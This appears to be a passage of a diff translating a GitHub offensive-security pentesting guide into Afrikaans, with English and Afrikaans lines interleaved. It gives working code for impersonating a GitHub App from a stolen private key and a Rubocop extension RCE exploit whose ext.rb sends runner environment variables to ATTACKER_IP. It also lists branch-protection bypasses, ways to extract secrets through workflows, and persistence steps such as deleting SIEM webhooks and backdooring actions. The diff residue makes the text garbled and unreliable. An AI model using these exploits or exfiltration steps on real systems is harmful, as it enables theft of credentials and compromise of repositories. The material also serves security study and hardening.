- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis.
|
||||
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
|
||||
- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
|
||||
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
|
||||
- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings** te gee. Dit is afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
### Integrasies
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_Laat weet my as jy die API eindpunt ken om hierdie inligting te bekom!_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **Derdeparty toepassing toegang beleid**: Dit word aanbeveel om die toegang tot elke toepassing te beperk en slegs die nodige te laat (na hersiening).
|
||||
- **Gemonteerde GitHub Apps**: Dit word aanbeveel om slegs die nodige te laat (na hersiening).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
## Recon & Aanvalle wat kredensiale misbruik
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.
|
||||
|
||||
### With User Credentials
|
||||
### Met Gebruiker Kredensiale
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Let daarop dat as jy **slaag om die `user_session` koekie** (huidiglik geconfigureer met SameSite: Lax) te steel, jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](#branch-protection-bypass) in geval dit nuttig is.
|
||||
|
||||
### With User SSH Key
|
||||
### Met Gebruiker SSH Sleutel
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode namens hulle te ontplooi** (geen 2FA word toegepas nie).
|
||||
|
||||
Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\<github_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH sleutels** kan ook in repositories as **ontplooi sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte van 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG Sleutels
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Soos verduidelik [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.
|
||||
|
||||
Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Met Gebruikersteken
|
||||
|
||||
### With User Token
|
||||
Vir 'n inleiding oor [**Gebruikersteke kyk die basiese inligting**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
'n Gebruikersteken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Met Oauth Toepassing
|
||||
|
||||
### With Oauth Application
|
||||
Vir 'n inleiding oor [**Github Oauth Toepassings kyk die basiese inligting**](basic-github-information.md#oauth-applications).
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Hierdie is die [skoppe wat 'n Oauth toepassing kan aanvra](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die gevraagde skoppe nagaan voordat hulle dit aanvaar.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Met Github Toepassing
|
||||
|
||||
### With Github Application
|
||||
Vir 'n inleiding oor [**Github Toepassings kyk die basiese inligting**](basic-github-information.md#github-applications).
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
#### Vervang 'n GitHub App met sy privaat sleutel (JWT → installasie toegangsteke)
|
||||
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
As jy die privaat sleutel (PEM) van 'n GitHub App verkry, kan jy die app ten volle vervang oor al sy installasies:
|
||||
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
- Genereer 'n kort‑lewende JWT wat met die privaat sleutel onderteken is
|
||||
- Bel die GitHub App REST API om installasies te lys
|
||||
- Munt per-installasie toegangsteke en gebruik dit om te lys/klon/druk na repositories wat aan daardie installasie toegestaan is
|
||||
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
Vereistes:
|
||||
- GitHub App privaat sleutel (PEM)
|
||||
- GitHub App ID (numeries). GitHub vereis dat iss die App ID is
|
||||
|
||||
Skep JWT (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
Lys installasies vir die geverifieerde toepassing:
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
Skep 'n installasie-toegangstoken (geldig ≤ 10 minute):
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
Gebruik die token om toegang tot die kode te verkry. Jy kan kloon of stoot met die x‑access‑token URL vorm:
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
Programmatiese PoC om 'n spesifieke org te teiken en private repos te lys (PyGithub + PyJWT):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -253,57 +240,53 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Notas:
|
||||
- Installasietokens erf die app se repository‑vlak toestemmings presies (byvoorbeeld, inhoud: skryf, pull_requests: skryf)
|
||||
- Tokens verval in ≤10 minute, maar nuwe tokens kan onbeperk geskep word solank jy die private sleutel behou
|
||||
- Jy kan ook installasies opnoem via die REST API (GET /app/installations) met die JWT
|
||||
|
||||
Notes:
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
## Kompromie & Misbruik van Github Action
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Daar is verskeie tegnieke om 'n Github Action te kompromitteer en te misbruik, kyk hulle hier:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
## Misbruik van derdeparty GitHub Apps wat eksterne gereedskap uitvoer (Rubocop uitbreiding RCE)
|
||||
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
Sommige GitHub Apps en PR hersien dienste voer eksterne linters/SAST uit teen pull requests met behulp van repository-beheerde konfigurasie lêers. As 'n ondersteunde gereedskap dinamiese kode laai toelaat, kan 'n PR RCE op die diens se hardeware bereik.
|
||||
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
Voorbeeld: Rubocop ondersteun die laai van uitbreidings vanaf sy YAML konfig. As die diens 'n repo-geleverde .rubocop.yml deurgee, kan jy arbitrêre Ruby uitvoer deur 'n plaaslike lêer te vereis.
|
||||
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
- Trigger toestande sluit gewoonlik in:
|
||||
- Die gereedskap is geaktiveer in die diens
|
||||
- Die PR bevat lêers wat die gereedskap herken (vir Rubocop: .rb)
|
||||
- Die repo bevat die gereedskap se konfigurasie lêer (Rubocop soek .rubocop.yml enige plek)
|
||||
|
||||
Exploit files in the PR:
|
||||
Eksploiteer lêers in die PR:
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
ext.rb (exfiltreer hardloop omgewingsveranderlikes):
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -314,99 +297,92 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Ook sluit 'n voldoende groot dummy Ruby-lêer in (bv. main.rb) sodat die linter werklik loop.
|
||||
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
Impakte waargeneem in die natuur:
|
||||
- Volledige kode-uitvoering op die produksie-loper wat die linter uitgevoer het
|
||||
- Ekstraksie van sensitiewe omgewing veranderlikes, insluitend die GitHub App private sleutel wat deur die diens gebruik word, API sleutels, DB akrediteer, ens.
|
||||
- Met 'n gelekte GitHub App private sleutel kan jy installasie tokens skep en lees/skryf toegang tot alle repositories wat aan daardie app toegestaan is, verkry (sien die afdeling hierbo oor GitHub App impersonasie)
|
||||
|
||||
Impact observed in the wild:
|
||||
- Full code execution on the production runner that executed the linter
|
||||
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
|
||||
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
|
||||
|
||||
Hardening guidelines for services running external tools:
|
||||
- Treat repository‑provided tool configs as untrusted code
|
||||
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
|
||||
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
|
||||
Harde riglyne vir dienste wat eksterne gereedskap uitvoer:
|
||||
- Behandel repository-gelewer gereedskap konfigurasies as onbetroubare kode
|
||||
- Voer gereedskap uit in styf geïsoleerde sandboxes sonder sensitiewe omgewing veranderlikes
|
||||
- Pas die minste bevoegdhede akrediteer en lêerstelsel isolasie toe, en beperk/weier uitgaande netwerk egress vir gereedskap wat nie internettoegang benodig nie
|
||||
|
||||
## Branch Protection Bypass
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk jou PR's van ander rekeninge aanvaar. As jy net die rekening het waarvandaan jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Action** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry.
|
||||
- _Let wel vir hierdie en vir die Code Owners beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._
|
||||
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy legitieme kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
|
||||
- **Vereis hersienings van Code Owners**: As dit geaktiveer is en jy 'n Code Owner is, kan jy 'n **Github Action jou PR laat skep en dit dan self goedkeur**.
|
||||
- Wanneer 'n **CODEOWNER lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Code Owners beskerming nie toegepas nie.**
|
||||
- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
|
||||
- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil.
|
||||
- **PR Hijacking**: Jy kan dalk in staat wees om die **PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
|
||||
- **Verwydering van Branch Protections**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
|
||||
- **Omseiling van push beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om push (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
|
||||
- As jy **skrywe toegang oor die repo het, maar jy mag nie kode push nie** as gevolg van die tak beskerming, kan jy steeds 'n **nuwe tak skep** en binne dit 'n **github action skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode push na die tak die **github action uitvoer**.
|
||||
|
||||
## Bypass Environments Protections
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
Vir 'n inleiding oor [**Github Environment kyk die basiese inligting**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
In die geval dat 'n omgewing **van al die takke toeganklik is**, is dit **nie beskerm nie** en jy kan maklik toegang tot die geheime binne die omgewing verkry. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan push** en jy kan die geheime **ekstrak** deur 'n nuwe github action te skep (of een te wysig).
|
||||
|
||||
Let op, dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) dit is gespesifiseer **wie kode na die takke kan push** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github action uitvoer omdat jy 'n tak kan skep en die push trigger oor homself kan gebruik. Die **tak beskerming laat die push na 'n nuwe tak toe sodat die github action geaktiveer sal word**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak sal van toepassing wees** en jy dit nie sal kan wysig nie, maar teen daardie tyd sal jy reeds die geheime afgelaai het.
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
## Volharding
|
||||
|
||||
## Persistence
|
||||
- Genereer **gebruikertoken**
|
||||
- Steel **github tokens** van **geheime**
|
||||
- **Verwydering** van werkvloei **resultate** en **takke**
|
||||
- Gee **meer regte aan die hele org**
|
||||
- Skep **webhooks** om inligting te eksfiltreer
|
||||
- Nooi **buitelandse samewerkers**
|
||||
- **Verwyder** **webhooks** wat deur die **SIEM** gebruik word
|
||||
- Skep/wysig **Github Action** met 'n **terugdeur**
|
||||
- Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
### Imposter Commits - Terugdeur via repo commits
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, pin.**
|
||||
|
||||
Soos [**dit**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
Vir meer inligting, kyk na [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
## Verwysings
|
||||
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
